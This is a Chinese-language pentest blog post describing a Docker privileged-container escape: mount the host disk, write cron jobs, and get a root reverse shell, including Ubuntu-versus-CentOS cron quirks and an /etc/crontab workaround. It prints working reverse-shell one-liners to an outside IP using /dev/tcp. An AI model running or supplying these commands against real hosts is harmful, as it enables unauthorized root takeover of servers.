Docker逃逸-Ubuntu与Centos计划任务问题与解决办法
背景
当我拿到一个主机的权限后, 经过测试, 发现是docker环境, 这时需要docker逃逸拿到宿主机权限, 使用特权模式逃逸, 挂载宿主机磁盘然后向宿主机写入定时任务的方法, 然而当我写入命令之后, 饭都吃完了也没见shell弹回来, 于是打开虚拟机开始进行测试。
预备知识
Dcoker逃逸
Ubuntu-普通用户定时任务文件: /vat/spool/cron/用户名
Ubuntu-root用户定时任务文件: /vat/spool/cron/crontabs/用户名(root)
Centos-user和root的文件位置相同: /vat/spool/cron/用户名
Ubuntu/Debian测试过程
因为目标宿主机的发行版本是Ubuntu, 于是用Ubuntu进行测试。
/tmp目录文件如下
为了避免权限的影响, 这里切换到root进行测试
写入计划任务, 每分钟往/tmp/1.txt写入数据
等待数分钟后/tmp下未出现1.txt
这跟docker逃逸的时候情况一样, 很合理 → _→
这里我们用crontab -e命令
可以看到该命令打开的依然是我们之前编辑的文件, 此时我们不做任何更改直接:wq保存退出, 然后神奇的事情发生了, /tmp目录下产生了1.txt
Centos测试
查看/tmp下文件
此时发现Centos系统下, echo进定时任务文件的任务直接可以正常执行了
测试结论
经过测试我们发现, 当我们拿到docker的权限后, 可以尝试mount宿主机磁盘, 尝试向宿主机写入计划任务来拿到一个宿主机的权限, 而通过常规方法的话, 我们只能向Centos的宿主写入计划任务, 否则我们的命令不会被Ubuntu宿主机执行, 哪怕是重启cron的相关服务或者重新启动Ubuntu。
那当我们面对目标主机是Ubuntu的情况就另寻他路吗? 在一系列尝试之后我发现了一个新的方法。
Ubuntu下解决方法
前面我已经通过suid提权拿下了docker的root权限
这里我们挂载磁盘到/em
圈重点
通过查阅资料, 发现还有一个/etc/crontab文件
该文件也可以用作定时任务
写入命令
开启监听
收到root权限shell
这里需要注意的地方 (包括前面提权的时候劫持环境变量的时候), 直接写入反弹shell的命令是执行不了的
bash -i >& /dev/tcp/192.168.43.21/4002 0>&1
这里是因为调用的程序问题, 写成下面的写法即可
echo 'bash -i >& /dev/tcp/xxx.xx.xxx.xxx/4006 0>&1' | bash
这种写法我经常用, 在很多无回显的情况下可以防止少走很多弯路或者解决很多玄学问题
另外, 这种写法的话, centos系统同样也是适用的, 为了保证文章的可读性和长度的友好性, 尽量写的通俗易懂, 这个大家可以自己尝试。
结束语与彩蛋
才疏学浅, 文章写多了难免会有错误或者不恰, 如有错误欢迎师傅们提出指正。
其实除了文中的/etc/crontab以外, 还有一个文件也可以达到相同的效果, 但是那个文件内容不是一行一行的, 不能直接写, 这时候可以copy过来本机编辑器打开修改之后再覆盖回去, 这个师傅们可以自己试一下。
祝师傅们每天shell拿到手软, shell一弹就是root, 你们都是大黑客。